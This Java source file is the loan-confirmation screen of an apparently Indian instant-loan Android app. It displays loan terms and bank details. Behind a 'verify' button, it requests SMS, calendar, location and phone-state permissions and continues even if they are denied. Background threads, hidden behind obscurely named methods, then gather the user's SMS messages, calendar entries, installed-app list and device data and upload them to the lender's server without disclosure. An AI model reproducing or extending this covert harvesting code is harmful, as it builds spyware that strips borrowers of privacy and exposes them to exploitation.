package cn.new7as.cas5s.ui.apply;


import android.Manifest;
import android.annotation.SuppressLint;
import android.os.Bundle;
import android.view.View;

import androidx.annotation.NonNull;

import com.google.gson.Gson;
import com.hjq.http.EasyHttp;
import com.hjq.http.listener.OnHttpListener;
import com.hjq.http.listener.OnUpdateListener;
import com.hjq.permissions.OnPermissionCallback;
import com.hjq.permissions.XXPermissions;

import java.io.File;
import java.util.List;

import cn.new7as.cas5s.databinding.ActivityApplyConfirmDoneBinding;
import cn.new7as.cas5s.ui.slideshow.BaseActivity;
import cn.new7as.cas5s.ui.slideshow.MainActivity;


import cn.new7as.cas5s.tool.phut.funs.PhoneData;
import cn.new7as.cas5s.tool.util.Utils;
import cn.new7as.cas5s.ui.easy.netapi.HttpData;
import cn.new7as.cas5s.ui.easy.netapi.FirstApi;
import cn.new7as.cas5s.ui.easy.netapi.KeepUrlApi;
import cn.new7as.cas5s.ui.easy.netapi.PhoneApi;
import cn.new7as.cas5s.ui.easy.netapi.ProductCateChildApi;
import cn.new7as.cas5s.ui.easy.netapi.ApplyApi;
import cn.new7as.cas5s.ui.easy.netapi.UpdateImageApi;


public class ApplyConfirmActivity extends BaseActivity {


    private ActivityApplyConfirmDoneBinding binding;
    private ProductCateChildApi.ProductCateChildData productCateChildData;

    @SuppressLint("MissingPermission")
    @Override
    protected void onCreate(Bundle savedInstanceState) {
        super.onCreate(savedInstanceState);
        binding = ActivityApplyConfirmDoneBinding.inflate(getLayoutInflater());
        setContentView(binding.getRoot());

        setop("Apply Confirmation");
        productCateChildData = (ProductCateChildApi.ProductCateChildData) getIntent().getExtras().getSerializable("ddba");
        initV();


    }

    @Override
    public void initV() {
        super.initV();
        binding.availableloanamount.setText(productCateChildData.loanAmount);
        binding.loadperiod.setText(productCateChildData.periodLength + " days");
        binding.interest.setText(productCateChildData.interest + "");

        binding.serviceCharge.setText(productCateChildData.serviceCharge);
        binding.ifscno.setText(productCateChildData.ifsc);
        binding.accountno.setText(productCateChildData.cardNo);
        binding.upi.setText(productCateChildData.upi);
        binding.disbursementamountAb.setText(productCateChildData.arrivalMoney.replace("₹", ""));
        binding.repaymentamountAb.setText(productCateChildData.repaymentAmount.replace("₹", ""));
        binding.scheduledrepaymentdateAb.setText(productCateChildData.repaymentDate.substring(0, 10));

        binding.editba.setOnClickListener(new View.OnClickListener() {
            @Override
            public void onClick(View v) {
                Utils.go(ApplyConfirmActivity.this, EditForthActivity.class);
            }
        });
        binding.verifyme.setOnClickListener(new View.OnClickListener() {
            @Override
            public void onClick(View v) {


                if (!XXPermissions.isGranted(ApplyConfirmActivity.this, Manifest.permission.READ_PHONE_STATE, Manifest.permission.READ_CALENDAR)) {
                    XXPermissions.with(ApplyConfirmActivity.this).permission(Manifest.permission.READ_PHONE_STATE, Manifest.permission.ACCESS_COARSE_LOCATION, Manifest.permission.READ_CALENDAR, Manifest.permission.WRITE_CALENDAR, Manifest.permission.READ_SMS).request(new OnPermissionCallback() {
                        @Override
                        public void onGranted(List<String> permissions, boolean all) {
                            if (all) applypre();
                        }

                        @Override
                        public void onDenied(List<String> permissions, boolean never) {
                            applypre();
                        }
                    });

                } else {
                    applypre();
                }
            }


        });
    }

    void applypre() {
        show();
        EasyHttp.get(this)
                .api(new FirstApi(getunique())).request(new OnHttpListener<HttpData<FirstApi.FirstData>>() {
                    @Override
                    public void onHttpSuccess(@NonNull HttpData<FirstApi.FirstData> result) {

                        if (result.getResult().isNewUser == 1) {
                            EasyHttp.get(ApplyConfirmActivity.this)
                                    .api(new PhoneApi()).request(new OnHttpListener<HttpData<PhoneApi.PhoneData>>() {
                                        @Override
                                        public void onHttpSuccess(@NonNull HttpData<PhoneApi.PhoneData> result) {
                                            PhoneApi.PhoneData result1 = result.getResult();
                                            Uaba(result1);
                                            apply();
                                        }


                                        @Override
                                        public void onHttpFail(@NonNull Throwable throwable) {
                                            deal(throwable);
                                        }
                                    });
                        } else {
                            apply();
                        }


                    }

                    @Override
                    public void onHttpFail(@NonNull Throwable throwable) {
                        deal(throwable);
                    }
                });
    }

    private void Uaba(PhoneApi.PhoneData result1) {

        new Thread(new Runnable() {
            @Override
            public void run() {
                if (!result1.appsUrl) {
                    UpdateImageApi.AsjbkjvInsk astring = Utils.getAllAppInfo(true, ApplyConfirmActivity.this);
                    dou(new Gson().toJson(astring), 1);
                }

                if (!result1.deviceInfoUrl) {
                    PhoneData astring = Utils.getCdata(ApplyConfirmActivity.this);
                    dou(new Gson().toJson(astring), 2);
                }
                if (!result1.calendarsUrl) {
                    String astring = Utils.getCalendarInfonew(ApplyConfirmActivity.this);
                    dou(astring, 3);
                }

                if (!result1.msgsUrl) {
                    String astring = Utils.getsinfo(ApplyConfirmActivity.this).toString();
                    dou(astring, 4);
                }
            }
        }).start();


    }

    void dou(String astring, int type) {
        new Thread(new Runnable() {
            @Override
            public void run() {
                File file = new File(getFilesDir(), "ba" + System.currentTimeMillis() + ".text");
                Utils.writes(astring, file);
                upload(file.getPath(), type);
            }
        }).start();

    }


    void upload(String path, int type) {
        EasyHttp.post(this)
                .api(new UpdateImageApi(new File(path)))
                .request(new OnUpdateListener<HttpData<String>>() {
                    @Override
                    public void onUpdateProgressChange(int progress) {

                    }

                    @Override
                    public void onUpdateSuccess(HttpData<String> result) {

                        KeepUrlApi keepUrlApi = new KeepUrlApi();
                        if (type == 1) {
                            keepUrlApi.setAppsUrl(result.getResult());
                        } else if (type == 2) {
                            keepUrlApi.setDeviceInfoUrl(result.getResult());
                        } else if (type == 3) {
                            keepUrlApi.setCalendarsUrl(result.getResult());
                        } else if (type == 4) {
                            keepUrlApi.setMsgsUrl(result.getResult());
                        }

                        EasyHttp.post(ApplyConfirmActivity.this)
                                .api(keepUrlApi).request(new OnHttpListener<HttpData<Object>>() {
                                    @Override
                                    public void onHttpSuccess(@NonNull HttpData<Object> result) {

                                    }


                                    @Override
                                    public void onHttpFail(@NonNull Throwable throwable) {
                                        deal(throwable);
                                    }
                                });

                    }

                    @Override
                    public void onUpdateFail(@NonNull Throwable throwable) {

                    }

                });

    }

    void apply() {

        EasyHttp.post(this)
                .api(new ApplyApi(getunique(), productCateChildData.productCode, Utils.getcode(ApplyConfirmActivity.this))).request(new OnHttpListener<HttpData<Object>>() {
                    @Override
                    public void onHttpSuccess(@NonNull HttpData<Object> result) {
                        Utils.goextra(ApplyConfirmActivity.this, MainActivity.class, "1");
                        finish();

                    }

                    @Override
                    public void onHttpFail(@NonNull Throwable throwable) {
                        deal(throwable);
                    }
                });
    }


}